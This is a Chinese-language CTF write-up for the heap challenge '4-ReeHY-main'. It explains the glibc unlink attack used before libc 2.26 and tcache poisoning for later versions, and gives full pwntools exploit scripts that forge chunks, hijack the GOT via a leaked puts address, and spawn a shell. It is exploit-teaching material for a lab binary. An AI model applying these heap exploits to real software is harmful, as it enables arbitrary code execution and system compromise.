Libc2.26以下的解法
使用的是double free的unlink漏洞
unlink是利用glibc malloc 的内存回收机制造成攻击的,核心就在于当两个free的堆块在物理上相邻时,会将他们合并,并将原来free的堆块在原来的链表中解链,加入新的链表中,但这样的合并是有条件的,向前或向后合并。
Unsorted bin使用双向链表维护被释放的空间,如果有一个堆块准备释放,它的物理相邻地址处如果有空闲堆块,并且空闲堆块不是TOP块,则会与相邻的堆块合并,即unlink后。相当于从双向链表里删除P,这里的关键就是
FD->bk = BK
BK->fd = FD
1 2 3 4 5 6 7 8 9 10
| #define unlink(P, BK, FD) { \ FD = P->fd; \ BK = P->bk; \ if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P); \ else { \ FD->bk = BK; \ BK->fd = FD; \ ........ }
|
以本题为例
0x6020E0处是一个数组,用于保存4个堆的地址,当我们需要编辑时,程序从这个数组里找到对应的堆地址,去访问。假如我们有办法让这个数组里存的是其他地址(比如某些函数的GOT表地址),那么当我们编辑的时候,不就可以对GOT表修改了吗。
那么,我们如何做到修改这个数组的内容呢?这个数组只有在创建堆的时候,才有赋值。
我们可以利用unlink,先想办法让数组里某一个堆地址指向这个数组的附近,那么我们对那个堆编辑时就是编辑这个数组附近的那个地址。
假如我们有一个这样的堆
1 2 3 4 5 6 7
| Chunk0(空闲) Prevsize=0 size=0x101 Fd =0x6020C8 BK =0x6020D0 DATA=XXXXXXXXXXXXXXXXXXXX Chunk1(使用中) Prevsize=0x100 size=0x100 DATA=xxxxxxxxxxxxxxxxxxxx
|
那么,当我们释放chunk1的时候,会与chunk0发生unlink
首先,内存管理程序检查chunk1的size=0x100,即最后的一个bit为0,说明前一个chunk处于空闲状态,那么,它会与前一个块发生合并,即从unsorted bin双向链表里删除前一个块,然后与自己合并后再加入unsorted bin
那么会调用unlink(prev_chunk(chunk1),NULL,NULL)
在unlink函数中
P = chunk0
FD=chunk0->fd = 0x6020C8
BK=chunk0->bk = 0x6020D0
根据chunk的数据结构(请看glibc源码分析),我们可以知道
1 2 3 4 5 6
| FD->bk = *(FD+(8*3)) = *(0x6020E0) BK->fd = *(BK + (8*2)) = *(0x6020E0)
而0x6020E0就是存放4个堆地址的数组的地址 *(0x6020E0)就是数组的第一个元素,也就是堆0的地址,堆0也就是我们这里的P 这样,绕过了corrupted double-linked list检查
|
接下来
1 2
| FD->bk = BK即*(0x6020E0) = 0x6020D0 BK->fd = FD即*(0x6020E0) = 0x6020C8
|
即数组的第1个元素被我们改成了0x6020C8,也就是相当于堆0指向了0x6020C8
那么,我们编辑堆0也就是在编辑0x6020C8处,而此处的下方就是保存堆指针的数组,那么就可以构造payload来修改这个数组,这就是原理
通过以上分析,我们可以这样,在真正的chunk0里,构造一个假的chunk,并伪造它的状态为释放的状态。
要达到这个目的,就需要堆溢出,覆盖chunk1的头信息
首先,这个程序的delete功能没有检查下标为负数的情况
经过调试,当我们delete(-2)时,释放的正好是0x6020C0处元素指向的堆(保存4个堆大小的堆)
它的大小为0x14,释放后归于fastbin
当我们再次malloc(0x14)申请时,便会返回这个释放后的堆的地址(fastbin的特性,使用单向链表维护释放后的块,再次申请时最先返回最后放入的那个块,类似于栈),于是我们编辑申请的这个堆,就是编辑保存4个堆大小的堆,这个大小信息在 编辑功能时会用到,我们要先溢出堆,就需要修改大小限制
我们edit申请的这个堆,构造payload,修改第一个堆的大小信息为0x200,这样我们在edit第一个堆时,就能溢出了
那么接下来,就是构造假的堆,来触发unlink了。
Chunk1的prev_size和size也是关键
1
| #define prev_chunk(p) ((mchunkptr)( ((char*)(p)) - ((p)->prev_size) ))
|
Chunk1的地址减去prev_size就是chunk0,还有就是size的最后1个bit为0,代表前一个块chunk0处于空闲状态
实际上,真正的chunk0是chunk1-0x110,因为chunk0也有prev_size和size字段,我们这里构造假的空闲chunk0’,并且chunk1的prev_size为0x100,让系统误以为chunk0是在chunk1-0x100处开始的,这就骗过了系统。
至于那个假的chunk的fd和bk,它的值关键,既要绕过检测,也要达到我们的目的。这里有一个公式,假如,被unlink的块P指针的地址为Paddr,那么设置fd=Paddr – 0x18,设置bk = Paddr – 0x10,根据chunk的数据结构可以很容易推出,最终导致P的指针指向了Paddr – 0x18
那么接下来,我们就可以修改数组里保存的4个堆指针了,让它们指向一些关键的地方。
然后再分别edit(0,xx),edit(1,xxx),edit(2,xxx),edit(3,xxxx),修改关键地方的数据。比如修改got表。最终getshell。
我们完整的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124
|
from pwn import * from LibcSearcher import * context.log_level = 'debug' sh = process('./4-ReeHY-main')
def welcome(): sh.sendlineafter('$','seaase') def create(size,index,content): sh.sendlineafter('$','1') sh.sendlineafter('Input size\n',str(size)) sh.sendlineafter('Input cun\n',str(index)) sh.sendafter('Input content\n',content) def delete(index): sh.sendlineafter('$','2') sh.sendlineafter('Chose one to dele\n',str(index)) def edit(index,content): sh.sendlineafter('$','3') sh.sendlineafter('Chose one to edit\n',str(index)) sh.sendafter('Input the content\n',content)
welcome()
create(0x100,0,'a'*0x100) create(0x100,1,'b'*0x100)
delete(-2) payload = p32(0x200) + p32(0x100)
create(0x14,2,payload)
payload = p64(0) + p64(0x101)
payload += p64(0x6020C8) + p64(0x6020D0)
payload += 'a'*(0x100-4*8);
payload += p64(0x100) + p64(0x100 + 2 * 8)
edit(0,payload)
delete(1) elf = ELF('./4-ReeHY-main') free_got = elf.got['free'] puts_got = elf.got['puts'] atoi_got = elf.got['atoi'] puts_plt = elf.plt['puts']
payload = '\x00'*0x18 payload += p64(free_got) + p64(1) payload += p64(puts_got) + p64(1) payload += p64(atoi_got) + p64(1)
edit(0,payload)
edit(0,p64(puts_plt))
delete(1) puts_addr = u64(sh.recv(6).ljust(8,'\x00')) print hex(puts_addr) libc = LibcSearcher('puts',puts_addr) libc_base = puts_addr - libc.dump('puts') system_addr = libc_base + libc.dump('system');
edit(2,p64(system_addr))
sh.sendlineafter('$','/bin/sh') sh.interactive()
|
以上解法在libc2.26以前测试成功。然而,我们的目的并不只是为了获得flag。我们要更广泛的学习。在libc2.26及以后,加入了tcache机制,使得上述方案有些改变,但是基本原理还是一样。
Libc2.26即以上的解法
Tcache是libc2.26之后引进的一种新机制,类似于fastbin一样的东西,每条链上最多可以有 7 个 chunk,free的时候当tcache满了才放入fastbin,unsorted bin,malloc的时候优先去tcache找
相比较double free,tcache机制反而使得我们的攻击变得简单
Tcache使用单项链表维护。tache posioning 和 fastbin attack类似,而且限制更加少,不会检查size,直接修改 tcache 中的 fd,不需要伪造任何 chunk 结构即可实现 malloc 到任何地址。tcache机制允许,将空闲的chunk以链表的形式缓存在线程各自tcache的bin中。下一次malloc时可以优先在tcache中寻找符合的chunk并提取出来。他缺少充分的安全检查,如果有机会构造内部chunk数据结构的特殊字段,我们可以有机会获得任意想要的地址。
我们看看tcache关键处的源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| static __always_inline void * tcache_get (size_t tc_idx) { tcache_entry *e = tcache->entries[tc_idx]; assert (tc_idx < TCACHE_MAX_BINS); assert (tcache->entries[tc_idx] > 0); tcache->entries[tc_idx] = e->next; --(tcache->counts[tc_idx]); e->key = NULL; return (void *) e; }
|
其实就是取出单链表头结返回,然后设置新的头结点
假如我们写了这样的程序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| #include<stdio.h> #include<malloc.h> #include<string.h> int main(int n,char **args) { char buf0[20] = "hello"; char *buf1 = (char *)malloc(32); char *buf2 = (char *)malloc(32); char *buf3; char *buf4; memset(buf1,'a',32); memset(buf2,'b',32); free(buf2); scanf("%s",buf1); buf3 = (char *)malloc(32); buf4 = (char *)malloc(32); scanf("%s",buf4); printf("%s",buf0); return 0; }
|
Free buf2后,buf2块被放入tcache,其中,块的fd指向下一个空闲块,这里,我们只释放了一个块,如果我们再释放一个,那么buf2的fd就会指向那个块。当我们重新申请一样大小的堆时,从tcache的头取出一个块返回给用户,然后下一个空闲块成为新的头。假如我们伪造fd指向我们需要修改的地址处,那么我们再次malloc时便可以让堆指针指向那个地址处,于是我们就能修改那个地方的内容了。
上述的脚本为
1 2 3 4 5 6 7 8 9 10 11 12 13
| from pwn import * sh = process('./test')
payload = 'a'*32 + p64(0) + p64(0x31) payload += p64(0x7FFFFFFFE560) sh.sendline(payload) sh.sendline('hello,hacker!\n'); sh.interactive()
|
0x7FFFFFFFE560是存放hello字符串的位置,我们通过tcache攻击,修改了该处的内容为hello,hacker!\n
后面都是同样的道理,于是本题,我们的脚本为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
|
from pwn import * from LibcSearcher import * context.log_level = 'debug' sh = process('./4-ReeHY-main')
def welcome(): sh.sendlineafter('$','seaase') def create(size,index,content): sh.sendlineafter('$','1') sh.sendlineafter('Input size\n',str(size)) sh.sendlineafter('Input cun\n',str(index)) sh.sendafter('Input content\n',content) def delete(index): sh.sendlineafter('$','2') sh.sendlineafter('Chose one to dele\n',str(index)) def edit(index,content): sh.sendlineafter('$','3') sh.sendlineafter('Chose one to edit\n',str(index)) sh.sendafter('Input the content\n',content) welcome()
create(0x40,0,'a'*0x40) create(0x40,1,'b'*0x40)
delete(-2)
payload = p32(0x80) + p32(0x40) create(0x14,2,payload)
delete(1)
payload = 'a' * 0x40 payload += p64(0) + p64(0x51)
payload += p64(0x6020e0) edit(0,payload)
create(0x40,1,'c'*0x40) elf = ELF('./4-ReeHY-main') free_got = elf.got['free'] puts_got = elf.got['puts'] atoi_got = elf.got['atoi'] puts_plt = elf.plt['puts'] payload = p64(free_got) + p64(1) payload += p64(puts_got) + p64(1) payload += p64(atoi_got) + p64(1)
create(0x40,3,payload)
edit(0,p64(puts_plt))
delete(1)
puts_addr = u64(sh.recv(6).ljust(8,'\x00'))
libc = LibcSearcher('puts',puts_addr) libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
edit(2,p64(system_addr))
sh.sendlineafter('$','/bin/sh') sh.interactive()
|